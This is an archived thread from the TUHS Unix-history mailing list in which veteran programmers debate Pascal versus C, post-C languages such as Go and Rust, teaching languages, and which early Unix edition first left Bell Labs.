> exactly that task – rewriting the Software Tools into Pascal.   That
> paper was his lessons learned.
> 
>  
> 
> BTW:  I’ve always thought part of the reason C++ and Java got the jump
> they did, was because the language type could say “C didn’t win.”   But
> I do find it interesting that they now use Python as a teaching
> language, which I think is almost ‘dirtier’ than C ever was.
> 
> ...


From ches at cheswick.com  Fri Sep  1 06:37:17 2017
From: ches at cheswick.com (William Cheswick)
Date: Thu, 31 Aug 2017 16:37:17 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
Message-ID: <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>

I wrote a plotter driver for the CDC in Pascal.  Brian’s comments were apt: drivers aren’t quite the same as a filter, even a Knuthian-style program.

I thought the world would end up using some post-Pascal, strongly typed language.  Maybe Oberon or Modula would fix things.  (I don’t think any of a decade’s worth of Pascal programs I wrote ever had a buffer overflow vulnerability.)

I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.

> On 31Aug 2017, at 3:47 PM, Toby Thain <toby at telegraphics.com.au> wrote:
> 
> 
> Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
> (using his literate programming toolset, but that did not extend the
> language much).
> 
> I suppose Apple's Pascal and Object Pascal -- used for Lisa and
> Macintosh applications and systems software -- comes under the "so
> people fixed it" category?
> 
> --Toby

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/346e9634/attachment.html>

From clemc at ccc.com  Fri Sep  1 06:37:20 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 31 Aug 2017 16:37:20 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
Message-ID: <CAC20D2Ma2yQE4Es1tYkFbBGT_vPpDWTTKe4wb9dpNNbKD-iCPQ@mail.gmail.com>

On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au>
wrote:

>
>
> Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
> ​ ​
> (using his literate programming toolset, but that did not extend the
> language much).
>
​Indeed - problem was it ​was in a PDP-10/20 *flavor* and would compile on
a Vax, without *much* hacking - I know I moved it once.  It was a real
PITA.    Eventually folks would migrate to C implementations.



>
> I suppose Apple's Pascal and Object Pascal -- used for Lisa and
> Macintosh applications and systems software -- comes under the "so
> people fixed it" category?
>
​That was the issue, everyone 'fixed it' and the fixes were all all
different.   Eventually market place pressure of the PC made Turbo Pascal
enough of a standard because so many people were using it, but by that
time, the war had been lost.

All the things Brian points out that made C great, made it the language
commercial folks used for both the PC and UNIX.​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/dcfe43ef/attachment.html>

From clemc at ccc.com  Fri Sep  1 06:51:05 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 31 Aug 2017 16:51:05 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
Message-ID: <CAC20D2PJvsZiza6AXTK9WFzuHtvHKRsxxfn-n3SFGUcn-AWfQg@mail.gmail.com>

On Thu, Aug 31, 2017 at 4:37 PM, William Cheswick <ches at cheswick.com> wrote:

> I wrote a plotter driver for the CDC in Pascal.  Brian’s comments were
> apt: drivers aren’t quite the same as a filter, even a Knuthian-style
> program.
>
> I thought the world would end up using some post-Pascal, strongly typed
> language.  Maybe Oberon or Modula would fix things.  (I don’t think any of
> a decade’s worth of Pascal programs I wrote ever had a buffer overflow
> vulnerability.)
>

​ditto, Pascal and Mod-II and Mod-III were pretty slick.   They were a
little wordy compared to C, but I admit the programs we wrote in them "just
worked" and I can not think any security issues in any that we wrote.

>
> I look to the likes of go and rust to get us back on track.  C is a pretty
> good assembly language.
>

​+1

But Ches, that leaves the open question of what to teach?   My daughter
loves it and that's what college taught her, but I cringe when I look at
what she and her peeps do with Python.   To me that's more like shell
scripting.   Maybe its my inner curmudgeon showing.

I have not seen anything like Clancy's "Oh Pascal" book in the key of Go,
much less Brinch Hansen's "Java for Everyone" ​which I still think are two
of the best teaching text out there.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/dc514abe/attachment.html>

From toby at telegraphics.com.au  Fri Sep  1 07:26:15 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Thu, 31 Aug 2017 17:26:15 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAC20D2Ma2yQE4Es1tYkFbBGT_vPpDWTTKe4wb9dpNNbKD-iCPQ@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <CAC20D2Ma2yQE4Es1tYkFbBGT_vPpDWTTKe4wb9dpNNbKD-iCPQ@mail.gmail.com>
Message-ID: <d3a0cba6-f32c-c754-8d97-9438992f8ac8@telegraphics.com.au>

On 2017-08-31 4:37 PM, Clem Cole wrote:
> 
> 
> On Thu, Aug 31, 2017 at 3:47 PM, Toby Thain <toby at telegraphics.com.au
> <mailto:toby at telegraphics.com.au>> wrote:
> 
> 
> 
>     Professor Knuth seemed to manage OK, writing TeX and METAFONT in Pascal
>     ​ ​
>     (using his literate programming toolset, but that did not extend the
>     language much).
> 
> ​Indeed - problem was it ​was in a PDP-10/20 /flavor/ and would compile
> on a Vax, without /much/ hacking - I know I moved it once.  It was a
> real PITA.    Eventually folks would migrate to C implementations.
> 

Those were mechanical translations from the Pascal. You're right though,
that this could improve things when the C compilers were better than the
Pascal compilers or where only a C compiler was available.

(I ported TeX in this way a couple of times and did a lot of hacking on
a Pascal-to-C translator.)

--T

>  
> 
> 
>     I suppose Apple's Pascal and Object Pascal -- used for Lisa and
>     Macintosh applications and systems software -- comes under the "so
>     people fixed it" category?
> 
> ​That was the issue, everyone 'fixed it' and the fixes were all all
> different.   Eventually market place pressure of the PC made Turbo
> Pascal enough of a standard because so many people were using it, but by
> that time, the war had been lost.
> 
> All the things Brian points out that made C great, made it the language
> commercial folks used for both the PC and UNIX.​



From lm at mcvoy.com  Fri Sep  1 07:46:08 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 14:46:08 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
Message-ID: <20170831214608.GS11202@mcvoy.com>

On Thu, Aug 31, 2017 at 04:37:17PM -0400, William Cheswick wrote:
> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.

So what chaps my grumpy old hide is why the heck do a whole new language
when you have one that is pretty good?  Suppose we took C and added a
dialect via options:

	--no-ptrs	// use arrays and indices, you get bounds checking
	--strings	// system managed memory for strings, like tcl
	--perlisms	// if (buf =~ /re/) and unless (it_worked())

etc.  Why create an entirely new language, new syntax, new linkage, etc,
instead of fixing C's shortcomings?


From krewat at kilonet.net  Fri Sep  1 07:59:44 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Thu, 31 Aug 2017 17:59:44 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170831214608.GS11202@mcvoy.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
Message-ID: <06f6d65d-3897-9213-500d-722cabb140a3@kilonet.net>

On 8/31/2017 3:25 PM, Steffen Nurpmeso wrote:
> "What?  A language without goto?"

It always made me wonder what they were hiding - piles of stuff being 
pushed/popped to the stack that a goto would leave hanging?

I eschew gotos myself, especially in C. I don't use them. When I get to 
the point in a program that I think about using one, I go back and 
re-write the logic so it doesn't need one.

I do not, however, look down on people who DO use them. I've used them 
in the past for efficiency, just not lately. You can get away with them 
in C because there's no magic going on, besides what the optimizer does.

--

On 8/31/2017 5:46 PM, Larry McVoy wrote:
> Why create an entirely new language, new syntax, new linkage, etc, 
> instead of fixing C's shortcomings?

I never understood the "crash and burn" logic either.

Maybe you should come up with a new C standard ;)



From lm at mcvoy.com  Fri Sep  1 08:08:43 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 15:08:43 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <06f6d65d-3897-9213-500d-722cabb140a3@kilonet.net>
References: <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
 <06f6d65d-3897-9213-500d-722cabb140a3@kilonet.net>
Message-ID: <20170831220843.GZ11202@mcvoy.com>

> >Why create an entirely new language, new syntax, new linkage, etc, instead
> >of fixing C's shortcomings?
> 
> I never understood the "crash and burn" logic either.
> 
> Maybe you should come up with a new C standard ;)

I sorta did, though it could use some polish:

http://www.little-lang.org/

example that I use to do my photo layout:

http://mcvoy.com/lm/photos.l

which does stuff like:

http://www.mcvoy.com/lm/hockey-portraits/
-- 
---
Larry McVoy            	     lm at mcvoy.com             http://www.mcvoy.com/lm 


From clemc at ccc.com  Fri Sep  1 08:33:04 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 31 Aug 2017 18:33:04 -0400
Subject: [TUHS] What was the first edition of UNIX that left AT&T
Message-ID: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>

I was recently asked a question that I was not sure the answer, so I
thought I would pass it to this group of folks.

What was the first edition that actually left Murray Hill and where did it
go?

My own first encounter was the Fifth edition but I know that was later.
I'm pretty sure both Harvard and MIT had it before CMU.   I'm thinking
Fourth edition went to Harvard and some other places ??NYU?? ??MIT??   Did
anything earlier than Fifth ever leave Murray Hill?

I don't think UCB or UofI got it until the Sixth edition.   I believe there
was some earlier commercial site ??CU in NYC maybe?? may have been in there
also but I have no idea what version that was.

Doug do you know?

Warren any ideas?

Tx
Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/ca739760/attachment.html>

From theopav at gmail.com  Fri Sep  1 09:20:57 2017
From: theopav at gmail.com (Theo Pavlidis)
Date: Thu, 31 Aug 2017 19:20:57 -0400
Subject: [TUHS] What was the first edition of UNIX that left AT&T
In-Reply-To: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
References: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
Message-ID: <CAJVMwZRT8nACNRXDnx1jVruSuigETg6=ktFtpYMHB0chbZf4zQ@mail.gmail.com>

Unix arrived at Princeton in the early 1970's and it might have been the
third or fourth edition. The first time I heard about Unix was from one of
my graduate students who was just starting work on his thesis, so it must
have been before 1974. (He got his degree in May 1975 and this the only
date I am sure about ;-)...)

Princeton is geographically close to Murray Hill (30 miles or so) and there
was a lot of interaction between the two. I left Princeton in 1980 to join
1127 and another Princeton colleague had moved a year earlier.

Theo Pavlidis


On Thu, Aug 31, 2017 at 6:33 PM, Clem Cole <clemc at ccc.com> wrote:

> I was recently asked a question that I was not sure the answer, so I
> thought I would pass it to this group of folks.
>
> What was the first edition that actually left Murray Hill and where did it
> go?
>
> My own first encounter was the Fifth edition but I know that was later.
> I'm pretty sure both Harvard and MIT had it before CMU.   I'm thinking
> Fourth edition went to Harvard and some other places ??NYU?? ??MIT??   Did
> anything earlier than Fifth ever leave Murray Hill?
>
> I don't think UCB or UofI got it until the Sixth edition.   I believe
> there was some earlier commercial site ??CU in NYC maybe?? may have been in
> there also but I have no idea what version that was.
>
> Doug do you know?
>
> Warren any ideas?
>
> Tx
> Clem
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/1b7a1f4f/attachment.html>

From wkt at tuhs.org  Fri Sep  1 09:27:38 2017
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 1 Sep 2017 09:27:38 +1000
Subject: [TUHS] What was the first edition of UNIX that left AT&T
In-Reply-To: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
References: <CAC20D2P698QvsecBiOJ=P9iMBQq0UVAma-LUtFL_8sEeC_PT=g@mail.gmail.com>
Message-ID: <20170831232738.GA1273@minnie.tuhs.org>

On Thu, Aug 31, 2017 at 06:33:04PM -0400, Clem Cole wrote:
>   I was recently asked a question that I was not sure the answer, so I
>   thought I would pass it to this group of folks.
>   What was the first edition that actually left Murray Hill and where did
>   it go?

"A Quarter Century of UNIX" says:

... after the first paper was delivered in October 1973, you could
have the bits put on your RK05 disks. In the early spring of 1974, Lou
Katz (then at Columbia University) organized a meeting of Unix users.
Columbia had been the recipient of the first distribution—first on
disk, then on 9-track tape—in the autumn (”Cy got RK05s for the department,”
Katz told me, ”but we didn’t have a drive, so I drove down
to Murray Hill and Ken cut me a 9-track tape") The meeting was held
on May 15, 1974, in the Merritt Conference Room on the third floor
of Columbia's College of Physicians and Surgeons ...

Cheers, Warren


From bakul at bitblocks.com  Fri Sep  1 09:36:58 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 31 Aug 2017 16:36:58 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
 Unearthed!
In-Reply-To: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
Message-ID: <86CB2317-DAEC-4B47-AEC0-B3D5995DB2E8@bitblocks.com>


> On Aug 31, 2017, at 10:49 AM, Doug McIlroy <doug at cs.dartmouth.edu> wrote:
> 
>> If Unix was written in Pascal I would've happily continued using Pascal!
> 
> Amusing in the context of Brian's piece, which essentially says if Unix
> could have been written in Pascal, then Pascal wouldn't have been Pascal.
> 
> doug\

My point being that perhaps the success of Unix had more to do
with the success of C than anything else.  And I believe Unix
success had more to with the set of s/w tools it came with
than C. 

For most user programs either language would be been fine. 
Given its evoltion C had the necessary features to implement 
an OS kernel but I believe Pascal could've been easily (&
minimally) extended to something equivalent. Note that Per
Brinch Hansen & his students did write an OS (Solo) in 
Concurrent Pascal[1].

Also note that C itself went through a few iterations while
Pascal was basically the same language that prof. Wirth
defined until 1985.

--bakul

[1] Solo was a university project + it lacked the greatest
strength of Unix (a set of s/w tools).  So it stayed a uni
project. Concurrent Pascal was a significant extension over
sequential Pascal but PBH explained his rationale by way of
his excellent book on Operating System Design!


From wes.parish at paradise.net.nz  Fri Sep  1 10:19:27 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Fri, 01 Sep 2017 12:19:27 +1200 (NZST)
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
 Unearthed!
In-Reply-To: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
Message-ID: <1504225167.59a8a78fdd078@www.paradise.net.nz>

No, such a Pascal would've been more of an Ada if developed like C++; more of an Oberon or Modula-2 
if minimalist.

I (officially) learned programming with Turbo Pascal. However, I'd already read both Comer's and 
Tanenbaum's books on operating system design and implementation, and likewise Brinch Hansen's 
book on Solo and Concurrent Pascal.

It didn't take long to work out that you could put together larger projects even with Turbo C than you 
could with Turbo Pascal, and the Turbo Pascal efforts towards handling large projects were a fudge.

I liked Oberon - I think Wirth came closer to the minimalism of C with Oberon.

Wesley Parish

Quoting Doug McIlroy <doug at cs.dartmouth.edu>:

> > If Unix was written in Pascal I would've happily continued using
> Pascal!
> 
> Amusing in the context of Brian's piece, which essentially says if Unix
> could have been written in Pascal, then Pascal wouldn't have been
> Pascal.
> 
> doug\
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn


From lm at mcvoy.com  Fri Sep  1 10:47:43 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 31 Aug 2017 17:47:43 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
 Unearthed!
In-Reply-To: <1504225167.59a8a78fdd078@www.paradise.net.nz>
References: <201708311749.v7VHnTH1029745@tahoe.cs.Dartmouth.EDU>
 <1504225167.59a8a78fdd078@www.paradise.net.nz>
Message-ID: <20170901004743.GA448@mcvoy.com>

> I liked Oberon - I think Wirth came closer to the minimalism of C with Oberon.

I went and looked it up and left when I say BEGIN END.  Really?


	IF (expr)
	BEGIN
		blah
		blah
		blah
	END

I'm sorry but I'm with whoever it was that said { } are better than
BEGIN END.  Seems trivial but it's not to me.


From bakul at bitblocks.com  Fri Sep  1 10:52:46 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 31 Aug 2017 17:52:46 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAC20D2PJvsZiza6AXTK9WFzuHtvHKRsxxfn-n3SFGUcn-AWfQg@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <CAC20D2PJvsZiza6AXTK9WFzuHtvHKRsxxfn-n3SFGUcn-AWfQg@mail.gmail.com>
Message-ID: <A9605CA6-964A-4D6E-8107-2C1CC7DACC03@bitblocks.com>

On Aug 31, 2017, at 1:51 PM, Clem Cole <clemc at ccc.com> wrote:
> 
> 
> 
> On Thu, Aug 31, 2017 at 4:37 PM, William Cheswick <ches at cheswick.com <mailto:ches at cheswick.com>> wrote:
> I wrote a plotter driver for the CDC in Pascal.  Brian’s comments were apt: drivers aren’t quite the same as a filter, even a Knuthian-style program.
> 
> I thought the world would end up using some post-Pascal, strongly typed language.  Maybe Oberon or Modula would fix things.  (I don’t think any of a decade’s worth of Pascal programs I wrote ever had a buffer overflow vulnerability.)
> 
> ​ditto, Pascal and Mod-II and Mod-III were pretty slick.   They were a little wordy compared to C, but I admit the programs we wrote in them "just worked" and I can not think any security issues in any that we wrote.

"Just working" and no security issues is something that was/is harder in C (and C++). We continue to pay an enormous cost due to the prevalence of C/C++ programs. May be security was not a big concern in 1983 but buggy programs were already a big issue....

> 
> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.
> 
> ​+1
> 
> But Ches, that leaves the open question of what to teach?   My daughter loves it and that's what college taught her, but I cringe when I look at what she and her peeps do with Python.   To me that's more like shell scripting.   Maybe its my inner curmudgeon showing.

IMHO every programmer should learn (and learn well)
a) assembly language. pick one processor architecture. C is not low level enough. This really teaches you the nuts and bolts of how computers actually work.
b) Scheme. This really teaches you prototyping, conceptualizing, experimenting etc. And there are lots of books that use Scheme to teach you programming. Still my goto language for fun!
c) Some newly popular/upcoming compiled language. Go or Rust or Nim or Julia or Erlang or Haskell...

Rationale: a) is bottom up. b) is top down. c) is getting things done. This way they get a broad spectrum programming skill set.

and may be
d) javascript / C++ / Cobol / Java / C -- whatever the market currently desperately wants

> I have not seen anything like Clancy's "Oh Pascal" book in the key of Go, much less Brinch Hansen's "Java for Everyone" ​which I still think are two of the best teaching text out there.

FWIW: I was able to bootstrap 3 highschool grads just with the Kergighan, Donovan Go programming book. With some mentoring in 7 weeks they wrote a car driving simulator (random road map, traffic signals, random number of cars, stopping at lights, waiting to safely turn right or left, zoomable openGL view). They had some prior experience with C/C++ and one knew openGL as well. They actually produced far more code than the our team of regular employees!

Go ecosystem quite well engineered and a joy to use. What newbies need is a "duolingo" for programming!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/b5c75616/attachment.html>

From davida at pobox.com  Fri Sep  1 10:57:36 2017
From: davida at pobox.com (David Arnold)
Date: Fri, 1 Sep 2017 10:57:36 +1000
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170831214608.GS11202@mcvoy.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
Message-ID: <A1B8881B-B72C-4560-9BB3-E4834B09CB70@pobox.com>

Like C++?  Or D?



d

> On 1 Sep 2017, at 07:46, Larry McVoy <lm at mcvoy.com> wrote:
> 
> On Thu, Aug 31, 2017 at 04:37:17PM -0400, William Cheswick wrote:
>> I look to the likes of go and rust to get us back on track.  C is a pretty good assembly language.
> 
> So what chaps my grumpy old hide is why the heck do a whole new language
> when you have one that is pretty good?  Suppose we took C and added a
> dialect via options:
> 
> 	--no-ptrs	// use arrays and indices, you get bounds checking
> 	--strings	// system managed memory for strings, like tcl
> 	--perlisms	// if (buf =~ /re/) and unless (it_worked())
> 
> etc.  Why create an entirely new language, new syntax, new linkage, etc,
> instead of fixing C's shortcomings?



From scj at yaccman.com  Fri Sep  1 11:11:32 2017
From: scj at yaccman.com (Steve Johnson)
Date: Thu, 31 Aug 2017 18:11:32 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
	Unearthed!
In-Reply-To: <20170831220843.GZ11202@mcvoy.com>
Message-ID: <c92d9af9398caccf53138e656bf4d3cf245b193a@webmail.yaccman.com>

I think of Alan Demer's comment: "There are two kinds of programming
languages, those that make it easy to write good programs, and those
that make it hard to write bad ones."

When teaching, you want the latter.  Doing anything real, you want
the former.

Re Python:  I think we old fogeys have to realize that programming
today has little in common with programming a few decades ago.  Back
then, when we programmed, we typically wrote algorithms.  There were
a few libraries for things like sin and cos, but if you wanted a
matrix multiply, you dashed off a triply-nested loop.

Programming languages now are used primarily to create a scaffold on
which to hang library calls.  The libraries are incredibly attractive
because the world is more complicated now, expectations are higher,
machines vastly faster -- so the languages are rarely used to write
algorithms.  A case in point is Google's TensorFlow -- a Python
front-end to a vast number of mathematical functions, where almost all
the "real work" is done by C++ programs with Python wrappers.  The
fact that Python is largely interactive means that modest sized bells,
whistles, warts and other disgusting things can be slipped into the
language and be unnoticed as long as they don't have much effect on
the human reaction time.  But doing these same things a billion times
really hurts.

On the other hand, most of TensorFlow was prototyped first in Python
and then C++ was called in to get the job done.  I suppose there's a
place for that...  But C++y TensorFlow add-ons like Keras are very
clean -- easy to write good programs at that level, but disappointing
when you see how badly they are delivered by TensorFlow.

Steve

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170831/6f490e68/attachment.html>

From bakul at bitblocks.com  Fri Sep  1 11:22:41 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Thu, 31 Aug 2017 18:22:41 -0700
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <20170831214608.GS11202@mcvoy.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <20170831011339.9465B124AEA5@mail.bitblocks.com>
 <20170831144852.GK11202@mcvoy.com>
 <CAJc6K3Wy_GqX4MV631hsEzFZFBFy4n3Ywh5XnCPd811bmOMo2Q@mail.gmail.com>
 <CANCZdfoY-t2hyJ6QRPKyAPjTrV47y5Fk8O3P0EUkwfjbktx5Yg@mail.gmail.com>
 <20170831175120.GM11202@mcvoy.com>
 <CAC20D2NT-z_an3vPsj3F+xLcVOYqnMLFT5FZnMctWmM+23UXyQ@mail.gmail.com>
 <58653222-af68-ba25-bc87-3dc9f36b6c7a@telegraphics.com.au>
 <F08D5B2F-2CD6-4708-A18B-4F3F9F4209E5@cheswick.com>
 <20170831214608.GS11202@mcvoy.com>
Message-ID: <E69CA2DD-44E3-43C9-8480-3D061C450AA6@bitblocks.com>


